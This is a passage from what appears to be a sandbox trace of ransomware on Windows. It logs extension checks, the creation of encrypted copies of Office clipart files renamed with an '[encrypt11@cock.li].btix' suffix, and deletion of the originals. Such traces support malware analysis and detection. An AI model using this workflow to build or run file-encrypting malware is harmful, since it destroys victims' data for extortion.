-1 [0158.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0158.594] lstrlenW (lpString=".1cd") returned 4 [0158.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0158.594] lstrlenW (lpString=".jpg") returned 4 [0158.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.595] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.595] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212751.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.596] GetLastError () returned 0x0 [0158.596] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x80c, lpOverlapped=0x0) returned 1 [0158.607] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x810, lpOverlapped=0x0) returned 1 [0158.608] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.608] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.608] SetEndOfFile (hFile=0x36c) returned 1 [0158.608] CloseHandle (hObject=0x36c) returned 1 [0158.608] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.608] SetEndOfFile (hFile=0x380) returned 1 [0158.609] CloseHandle (hObject=0x380) returned 1 [0158.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212751.wmf")) returned 1 [0158.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0158.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0158.610] lstrlenW (lpString=".doc") returned 4 [0158.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.610] lstrlenW (lpString=".docx") returned 5 [0158.610] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.610] lstrlenW (lpString=".pdf") returned 4 [0158.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.610] lstrlenW (lpString=".xls") returned 4 [0158.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.610] lstrlenW (lpString=".xlsx") returned 5 [0158.610] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.610] lstrlenW (lpString=".ppt") returned 4 [0158.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0158.610] lstrlenW (lpString=".zip") returned 4 [0158.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.610] lstrlenW (lpString=".rar") returned 4 [0158.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.610] lstrlenW (lpString=".bz2") returned 4 [0158.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.610] lstrlenW (lpString=".7z") returned 3 [0158.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0158.611] lstrlenW (lpString=".dbf") returned 4 [0158.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0158.611] lstrlenW (lpString=".1cd") returned 4 [0158.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF") returned 68 [0158.611] lstrlenW (lpString=".jpg") returned 4 [0158.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.616] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.616] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.617] GetLastError () returned 0x0 [0158.617] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xa5c, lpOverlapped=0x0) returned 1 [0158.627] WriteFile (in: hFile=0x368, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xa60, lpOverlapped=0x0) returned 1 [0158.629] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.629] WriteFile (in: hFile=0x368, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.629] SetEndOfFile (hFile=0x368) returned 1 [0158.629] CloseHandle (hObject=0x368) returned 1 [0158.629] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.629] SetEndOfFile (hFile=0x39c) returned 1 [0158.630] CloseHandle (hObject=0x39c) returned 1 [0158.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf")) returned 1 [0158.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0158.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0158.630] lstrlenW (lpString=".doc") returned 4 [0158.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.631] lstrlenW (lpString=".docx") returned 5 [0158.631] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.631] lstrlenW (lpString=".pdf") returned 4 [0158.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.631] lstrlenW (lpString=".xls") returned 4 [0158.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.631] lstrlenW (lpString=".xlsx") returned 5 [0158.631] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.631] lstrlenW (lpString=".ppt") returned 4 [0158.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0158.631] lstrlenW (lpString=".zip") returned 4 [0158.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.631] lstrlenW (lpString=".rar") returned 4 [0158.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.631] lstrlenW (lpString=".bz2") returned 4 [0158.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.631] lstrlenW (lpString=".7z") returned 3 [0158.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0158.631] lstrlenW (lpString=".dbf") returned 4 [0158.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0158.631] lstrlenW (lpString=".1cd") returned 4 [0158.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0158.631] lstrlenW (lpString=".jpg") returned 4 [0158.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.638] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.638] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.639] GetLastError () returned 0x0 [0158.639] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xaefa, lpOverlapped=0x0) returned 1 [0158.642] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xaf00, lpOverlapped=0x0) returned 1 [0158.643] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.643] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.643] SetEndOfFile (hFile=0x36c) returned 1 [0158.643] CloseHandle (hObject=0x36c) returned 1 [0158.643] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.643] SetEndOfFile (hFile=0x380) returned 1 [0158.644] CloseHandle (hObject=0x380) returned 1 [0158.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf")) returned 1 [0158.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0158.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0158.645] lstrlenW (lpString=".doc") returned 4 [0158.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.645] lstrlenW (lpString=".docx") returned 5 [0158.645] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0158.645] lstrlenW (lpString=".pdf") returned 4 [0158.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.645] lstrlenW (lpString=".xls") returned 4 [0158.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.646] lstrlenW (lpString=".xlsx") returned 5 [0158.646] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0158.646] lstrlenW (lpString=".ppt") returned 4 [0158.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0158.646] lstrlenW (lpString=".zip") returned 4 [0158.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.646] lstrlenW (lpString=".rar") returned 4 [0158.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.646] lstrlenW (lpString=".bz2") returned 4 [0158.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.646] lstrlenW (lpString=".7z") returned 3 [0158.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0158.646] lstrlenW (lpString=".dbf") returned 4 [0158.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0158.646] lstrlenW (lpString=".1cd") returned 4 [0158.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0158.646] lstrlenW (lpString=".jpg") returned 4 [0158.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.646] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.646] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.647] GetLastError () returned 0x0 [0158.647] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1f50, lpOverlapped=0x0) returned 1 [0158.649] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1f60, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1f60, lpOverlapped=0x0) returned 1 [0158.649] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.650] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.650] SetEndOfFile (hFile=0x36c) returned 1 [0158.650] CloseHandle (hObject=0x36c) returned 1 [0158.650] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.650] SetEndOfFile (hFile=0x380) returned 1 [0158.651] CloseHandle (hObject=0x380) returned 1 [0158.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf")) returned 1 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0158.651] lstrlenW (lpString=".doc") returned 4 [0158.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString=".docx") returned 5 [0158.651] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0158.651] lstrlenW (lpString=".pdf") returned 4 [0158.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.651] lstrlenW (lpString=".xls") returned 4 [0158.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.651] lstrlenW (lpString=".xlsx") returned 5 [0158.652] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0158.652] lstrlenW (lpString=".ppt") returned 4 [0158.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0158.652] lstrlenW (lpString=".zip") returned 4 [0158.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.652] lstrlenW (lpString=".rar") returned 4 [0158.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.652] lstrlenW (lpString=".bz2") returned 4 [0158.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.652] lstrlenW (lpString=".7z") returned 3 [0158.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0158.652] lstrlenW (lpString=".dbf") returned 4 [0158.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0158.652] lstrlenW (lpString=".1cd") returned 4 [0158.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0158.652] lstrlenW (lpString=".jpg") returned 4 [0158.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.652] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.652] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215210.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.653] GetLastError () returned 0x0 [0158.653] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x81ce, lpOverlapped=0x0) returned 1 [0158.940] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x81d0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x81d0, lpOverlapped=0x0) returned 1 [0158.941] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.941] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.941] SetEndOfFile (hFile=0x36c) returned 1 [0159.004] CloseHandle (hObject=0x36c) returned 1 [0159.004] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.004] SetEndOfFile (hFile=0x380) returned 1 [0159.005] CloseHandle (hObject=0x380) returned 1 [0159.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215210.wmf")) returned 1 [0159.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0159.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0159.112] lstrlenW (lpString=".doc") returned 4 [0159.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.112] lstrlenW (lpString=".docx") returned 5 [0159.112] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.112] lstrlenW (lpString=".pdf") returned 4 [0159.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.112] lstrlenW (lpString=".xls") returned 4 [0159.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.112] lstrlenW (lpString=".xlsx") returned 5 [0159.112] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.112] lstrlenW (lpString=".ppt") returned 4 [0159.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0159.112] lstrlenW (lpString=".zip") returned 4 [0159.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.113] lstrlenW (lpString=".rar") returned 4 [0159.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.113] lstrlenW (lpString=".bz2") returned 4 [0159.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.113] lstrlenW (lpString=".7z") returned 3 [0159.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0159.113] lstrlenW (lpString=".dbf") returned 4 [0159.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0159.113] lstrlenW (lpString=".1cd") returned 4 [0159.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0159.113] lstrlenW (lpString=".jpg") returned 4 [0159.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.241] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.241] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.242] GetLastError () returned 0x0 [0159.242] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x26e8, lpOverlapped=0x0) returned 1 [0159.244] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x26f0, lpOverlapped=0x0) returned 1 [0159.245] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.245] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, 